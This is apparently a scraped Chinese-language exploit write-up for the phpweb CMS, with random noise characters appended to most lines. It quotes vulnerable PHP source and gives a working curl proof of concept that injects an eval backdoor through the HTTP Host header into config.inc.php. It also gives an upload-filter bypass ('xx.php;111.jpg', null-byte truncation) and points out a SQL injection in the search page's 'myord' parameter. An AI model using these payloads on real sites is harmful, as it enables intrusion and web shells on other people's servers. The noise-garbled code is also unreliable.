注入:
& E; f R2 y: ~4 d, L
6 ^2 M% P+ V0 D5 V# x/ H( A$ s之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
0 i; Z, l X6 K8 r0 u, p- j
' y z0 g" ?8 G& H( _" ?鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
0 ^% e& [! B. n5 r) b, E# J鸡肋2: 有一定安全常识的站长都会删掉 install 目录/ c* I( E$ `# T
. B7 `# U, v5 Z1 v( s虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响4 n0 I! y) d7 Y9 Y% w
$ R) ^; J' t& o, k6 G分析:
" C5 W5 z! f& c* x
+ q2 ]( x2 L9 R( _, w0 A$ X$ [
3 G3 i. n+ K' L5 e1 R% Z$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
, H& ^' r9 D1 d$ }5 g& k 6 b) q) G) Y/ D# t: Q% y
$filestr = fread(fopen($SysConfigFile, 'r'),30000);0 ^) V Z" p" ^5 G+ N5 n
$filestr=str_replace(" ","",$filestr);
- F& x5 [8 u8 y2 W3 w( t1 ?7 ~ $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- L+ {$ Y. u2 r q5 d. G- ` $filestr=str_replace("DefaultDbName",$dbname,$filestr);# x8 |, \9 A0 b9 ~
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
( h( |$ E; c# j/ w1 R3 | $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
. Y" P6 @5 q! n5 {* u $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
+ T! q. @" q6 { $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
+ b' A V# w+ Y9 F' X+ K7 w9 o $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);0 G+ _5 t. k5 {
9 V% i& D" X$ U) f- l% o fwrite(fopen($ConFile,"w"),$filestr,30000);7 s2 U' \5 z0 }! W* Q( e6 L
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
% G, t0 K$ G u % W+ O, u( v9 ?: j4 Z; ]2 M2 D9 s& a
poc:
3 k- ^9 u( r0 ~) [ - Q5 P& R, l1 k m) \& Z9 }1 w
?
2 V/ A7 t( s/ G3 M: z1. s# _# l2 o% U+ W+ G6 b
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
# p/ p S! T# f2 A* o# Fshell地址: /config.inc.php7 H( p( u6 p* r& {
跟之前的 phpcms一样 需要远程数据库
# e: b0 s7 B" @9 u; O _" G- {
& K' D8 v" s: M* T5 n) D; L——————————————————–% d' L" p; H% F1 q# p& u m1 ^
上传漏洞(需要进后台):6 w9 [9 D: q3 [1 g3 G9 I# F
漏洞文件: /kedit/upload_cgi/upload.php
2 \+ z# K0 \9 Q/ [2 z/ l* `这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
8 u) E& {1 Q1 a5 t) f / W% @0 M/ V8 ` }3 k
1 C) ^( z& G& B7 L( k
<?php. y0 n( p2 V2 g* T) a' Q1 q
define("ROOTPATH", "../../");+ F! Q8 @% [$ T# \
include(ROOTPATH."includes/admin.inc.php");! d4 @3 c F8 B2 x. ?
NeedAuth(0);5 A8 H$ u) B; ]" z
; s6 r- D, _7 e" S9 i# b
$dt=date("Ymd",time());
/ f4 G& _- y5 i$ y/ M( k5 L2 X if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
2 f* ~' `, U. Y' j+ V7 f* R: z @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( d* M) H/ q6 C- [9 g% Y
}1 A- s. b7 v6 u2 Q7 m
9 u; M0 q% F$ \! ^ //文件保存目录路径
3 E o# G* i s $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';: [" k. Z1 q7 z+ b* [/ H2 v
echo $save_path;
$ z; y/ D! X U! T7 {8 h* u //文件保存目录URL5 E, g' e) [. \; o9 ~+ `# e
$save_url = '../../'.$_POST['attachPath'].$dt.'/';6 D4 ?& ]/ t8 n6 _1 a( e
+ a2 j6 t' C7 x5 Y& I- u
//定义允许上传的文件扩展名3 Q* y6 T$ ]; x0 Q2 C
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
& B- u7 N& }5 K7 ^
" u6 f7 P& n$ g" s7 } //最大文件大小. ^5 L; @3 D! U7 p
$max_size = 1000000;
- g+ t; |% ]7 E/ ^$ ^" u
& j3 | H' ~/ w+ f8 ? //更改目录权限/ ?+ t( h. h8 Q
@mkdir($save_path, 0777);
' h7 d+ a/ z9 p" C: l; Y/ Z$ ^
/ f- K' T; l* C1 d3 {2 L% |3 o3 x //文件的全部路径/ O& U+ c- |: b6 n" |" Z {
$file_path = $save_path.$_POST['fileName']; //保存文件名
$ ?& g" o7 g K6 _) a : D! Z) x- n' ^2 L0 Q
//文件URL
% K+ w+ |- G; a& ] $file_url = $save_url.$_POST['fileName'];
0 K& F) Q0 `2 n* X//有上传文件时/ I/ D5 a+ j! K9 r
if (empty($_FILES) === false) {& ^3 ^- C7 ]$ \$ z
' w& p q" i" f) _" B //原文件名
1 I! k0 N: h' J, a $file_name = $_FILES['fileData']['name'];# ?% P; R) ^/ r8 l1 o6 ~1 i
//服务器上临时文件名0 v# N$ X5 u# t
$tmp_name = $_FILES['fileData']['tmp_name'];
1 g5 w2 h$ V9 D8 X9 u) E7 x6 l //文件大小
& Q% Z8 H6 R0 i9 Y J $file_size = $_FILES['fileData']['size'];
- U v5 b! M B, E //检查目录
5 x& w1 N7 o. S$ B- B$ N1 ?) B: } if (@is_dir($save_path) === false) {9 s) a7 \- ~, \( p. a, D
alert("上传目录不存在。");
( y/ b$ @& Z. V% Q( R. ? }' s7 j, E8 r |! X# F0 C2 ~, ^
//检查目录写权限& R; W8 D; i, e' \5 N0 F- d
if (@is_writable($save_path) === false) { I' [* Y6 u& x* h; L
alert("上传目录没有写权限。");
# Q. e" q" t0 f, I/ r }
7 L" G5 T5 a5 }( K" g //检查是否已上传
. ^" q, G/ X* \2 `5 k if (@is_uploaded_file($tmp_name) === false) {$ [. {8 Q G" w* c
alert("临时文件可能不是上传文件。");$ Z$ q1 K4 F$ z& h
}
w& A3 i/ z9 u9 p& N4 e9 `$ y) _ //检查文件大小8 y5 v1 ^) D7 ^
if ($file_size > $max_size) {4 M% I* a4 [/ [0 J @
alert("上传文件大小超过限制。");/ p6 B) p& ^7 v
}
* _+ z7 u' U' ~* A3 r$ y, d //获得文件扩展名* Z/ U# S. F5 [* t' Q+ n4 M
$temp_arr = explode(".", $_POST['fileName']);4 Y9 h- U9 ?: T( R' N! }
$file_ext = array_pop($temp_arr);
* Y& t% B: E, q+ N2 k+ Q( z- b" B $file_ext = trim($file_ext);
7 Z$ Z5 P& R7 E" h $file_ext = strtolower($file_ext);
h/ a( j0 S1 N5 Q 6 C( R& e# n% p8 v' G2 _0 i
//检查扩展名
& e$ {% K5 g7 |9 h' J) K if (in_array($file_ext, $ext_arr) === false) { : H/ Z- G4 G) C- J$ _3 M4 x6 b) }: ]
alert("上传文件扩展名是不允许的扩展名。");
5 z+ U( _# T; J }
, Q, n0 Z/ g+ Q) w. ~ R: C3 c 2 r7 o8 \: s+ F) s7 n% ?
//移动文件 6 K- h$ k) Q2 C' f
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
, L" L$ F+ `9 w* U! s if (move_uploaded_file($tmp_name, $file_path) === false) {
0 J9 v9 r4 d. e' X2 B8 P7 B alert("上传文件失败。");
9 q% h% Z: p$ G* D }
' w6 M% I# b- |' _+ Y9 K# v , V7 e$ R8 S! e# p6 y& }
@chmod($file_path,0666);
0 D( I& F* s) A: i" ?
" Q5 ^" {4 a$ y* \$ t; r C ?>
/ v4 X" f2 F) G1 R0 u3 r% b抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2278 k+ U9 R8 K4 \# l3 X, I f* r! x
- w9 z& O/ ?6 b# m+ Papache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
9 t7 U+ }1 Q: i5 j + v* h+ g" `- }5 r
——————————————————
/ n, Z/ m& G$ _$ ?* I注入漏洞:
3 S. @0 o# p; [3 b+ y" |漏洞文件:search/module/search.php0 S) l8 L, Q/ V3 ]2 c4 {
/search/index.php?key=1&myord=1 [sqlinjection]
% h# h+ T4 j5 V; Q4 J / }% Y! u( s; Y' F" d
' m/ M" c1 e5 p1 S( d) @# K<?php$ J& _ J# M2 `* X; D
// ... 省略 n 行...* ^- {3 q9 \4 M) K; {) q
//第18行:
" h( Y1 U: a& G/ V/ D $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响: H' Q4 G7 d6 Y7 f! A7 g
$page=htmlspecialchars($_GET["page"]);* \1 n4 k1 S( l8 O/ V( l
$myord=htmlspecialchars($_GET["myord"]);
; s7 W7 i. Y+ i# C* y v' w * S! `- x- \, ?4 t, D, M
// ... 省略 n 行...
$ t5 A! t: Q w; O $key,$myord 两个参数带入查询6 F# c) }4 o; h3 Y2 Z! N& Y
//第47行 $key:! k) Z6 Z- _$ d) v2 o. U* n/ q6 m
$ j( |' T: r2 l$ D $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..! C T/ U/ V+ r/ ?: q/ S/ a
0 i! t9 ?5 x# G- Z( G8 K3 J; w4 T //第197行 $myord
2 w2 p4 O$ S: H: Y. C $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
' I s1 Y& h* _' _( A0 t
9 \$ z/ b* c) I# W6 b! b ?>
: U3 V% F& W( _: \, C0 {* [ |